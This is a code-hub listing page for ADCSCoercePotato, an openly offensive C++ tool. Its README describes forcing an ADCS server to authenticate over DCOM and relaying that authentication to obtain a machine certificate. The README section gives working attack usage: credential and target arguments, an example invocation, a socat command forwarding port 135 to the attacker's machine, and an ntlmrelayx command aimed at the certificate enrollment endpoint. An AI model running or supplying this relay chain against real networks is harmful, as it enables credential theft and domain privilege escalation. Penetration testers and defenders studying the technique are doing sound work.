MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato

github.com/decoder-it/ADCSCoercePotato @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
68 symbols 98 edges 12 files 1 documented · 1% updated 2y ago★ 248

Browse by type

Functions 59 Types & classes 9
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

ADCSCoercePotato

Yet another technique for coercing machine authentication but specific for ADCS server

Full details: https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/ ``` ADCSCoercePotato - @decoder_it 2024

Mandatory args: -u Domain Username -p password -d Domain Name -m remote DCOM (ADCS) server address -k redirector where socat and ntlmrelayx is running

Optional args: -n HTTP port where redirector (ntlmrelayx) is listening, default:80 -l local socket server port, default:9999 -c default:{D99E6E74-FC88-11D0-B498-00A0C90312F3}

Example: ADCSCoercePotato.exe -m 192.168.212.22 -k 192.168.1.88 -u myuser -p mypass -d mydomain.domain On the Linux box (assuming it has IP:192.168.1.88 and the Windows attacker machine is:192.168.1.89) and ADCS web enrollment service is also running on:192.168.212.41 -> socat tcp -listen:135, reuseaddr, fork tcp:192.168.1.89:9999 & -> ntlmrelayx.py -t http://192.168.212.41/certsrv/certrqus.asp --adcs --template Machine -smb2support

Core symbols most depended-on inside this repo

Shape

Method 39
Function 20
Class 9

Languages

C++93%
C7%

Modules by API surface

IStorageTrigger.cpp26 symbols
ADCSCoercePotato.cpp19 symbols
HTTPCrossProtocolRelay.cpp8 symbols
BlockingQueue.h6 symbols
IStandardActivator_p.c4 symbols
Utils.cpp2 symbols
MSFRottenPotato.h1 symbols
IStorageTrigger.h1 symbols
IStandardActivator_i.c1 symbols

For agents

$ claude mcp add ADCSCoercePotato \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page